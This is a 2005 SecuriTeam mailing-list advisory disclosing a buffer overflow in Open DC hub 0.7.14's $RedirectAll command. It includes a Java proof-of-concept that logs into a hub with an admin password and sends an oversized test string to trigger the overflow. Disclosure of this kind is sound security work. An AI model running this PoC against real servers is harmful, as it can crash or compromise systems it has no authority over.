[UNIX] Open DC hub Buffer Overflow ($RedirectAll)

From: SecuriTeam (support_at_securiteam.com)
Date: 08/18/05

  • Next message: SecuriTeam: "[NEWS] Cisco API Privileges Escalation" 
    To: list@securiteam.com
Date: 18 Aug 2005 14:51:39 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Open DC hub Buffer Overflow ($RedirectAll)
    ------------------------------------------------------------------------

    SUMMARY

    " <http://opendchub.sourceforge.net/> Open DC hub is a Unix/Linux version
    of the hub software for the Direct Connect network. Direct Connect is a
    file sharing network made up by hubs, to which clients can connect."

    An attacker with administrator rights on the hub can exploit a
    vulnerability in the $RedirectAll command to cause the clients connected
    to the network to run arbitrary code on the victim machine.

    DETAILS

    Vulnerable Systems:
     * Open DC hub version 0.7.14

    NOTE: To exploit the bug the attacker needs to have administrator
    privileges on the victim hub.

    Proof of Concept:
    /*
       Open Dc Hub (0.7.14) - Buffer Overflow - Proof Of Concept
       Coded by: Donato Ferrante
    */

    import java.net.Socket;
    import java.net.UnknownHostException;
    import java.net.SocketTimeoutException;
    import java.io.BufferedReader;
    import java.io.InputStreamReader;
    import java.io.PrintStream;

    public class OpenDcHub0714_BOF_poc {

     private static int PORT = 53696;
     private static int MAXSZ = 512;
     private static String VERSION = "0.1";

     public static void main(String [] args){

        System.out.println(
             "\n\n" +
             "Open Dc Hub - Buffer Overflow - Proof Of Concept\n" +
             "Version: " + VERSION + "\n" +
             "coded by: Donato Ferrante\n" +
             "e-mail: fdonato@autistici.org\n" +
             "web: www.autistici.org/fdonato\n\n"
               );

      if(args.length <= 1){
       System.out.println(
         "Usage: java OpenDcHub0714_BOF_poc <host> <port> <admin_password>\n"
    +
         "Note: default port is 53696.\n"
         );
       System.exit(-1);
      }

      String host = args[0];
      String admin_password = args[args.length - 1];
      int port = PORT;

      try{
       if(args.length > 2)
        port = Integer.parseInt(args[1]);
      }catch(Exception e){ port = PORT; }

      try{
      
       Socket socket = new Socket(host, port);
       socket.setSoTimeout(10000);
       BufferedReader in_stream = new BufferedReader(new
    InputStreamReader(socket.getInputStream()));
       PrintStream out_stream = new PrintStream(socket.getOutputStream());

       System.out.println(in_stream.readLine());
       System.out.println(in_stream.readLine());
       System.out.println(in_stream.readLine());
       System.out.println(in_stream.readLine());

       System.out.println("Logging...");
       out_stream.println("$adminpass " + admin_password +"|\n");

       in_stream.readLine();
       String err = in_stream.readLine();

       if(err.toLowerCase().indexOf("bad") >= 0){
        System.out.println("Login failed...");
        System.out.println("Exiting...");
        System.exit(-1);
       }
       else
        System.out.println("Logged in...");

       
       System.out.println("Building test string to inject...");
       String buff = build();
       Thread.sleep(1500);

       System.out.println("Injecting test string...");
       out_stream.println(buff);
       Thread.sleep(1500);

       System.out.println("Proof_Of_Concept terminated.");

      }catch(SocketTimeoutException ste){System.out.println("Socket
    timeout."); System.exit(-1);}
       catch(UnknownHostException uhe){ System.out.println("Host: " + host + "
    unknown.."); System.exit(-1); }
                     catch(InterruptedException ie){
    System.out.println("Thread warning...");}
                     catch(Exception ioe){ System.out.println("Unable to
    create the socket!"); System.exit(-1);}

     }

     private static String build(){

      String over = "";
      for(int i = 0; i < MAXSZ; i++)
       over += 0x61;
      
      String ret = "$RedirectAll " + over + "|\n";
      return ret;
     }

    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:fdonato@autistici.org>
    Donato Ferrante.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[NEWS] Cisco API Privileges Escalation"

    Relevant Pages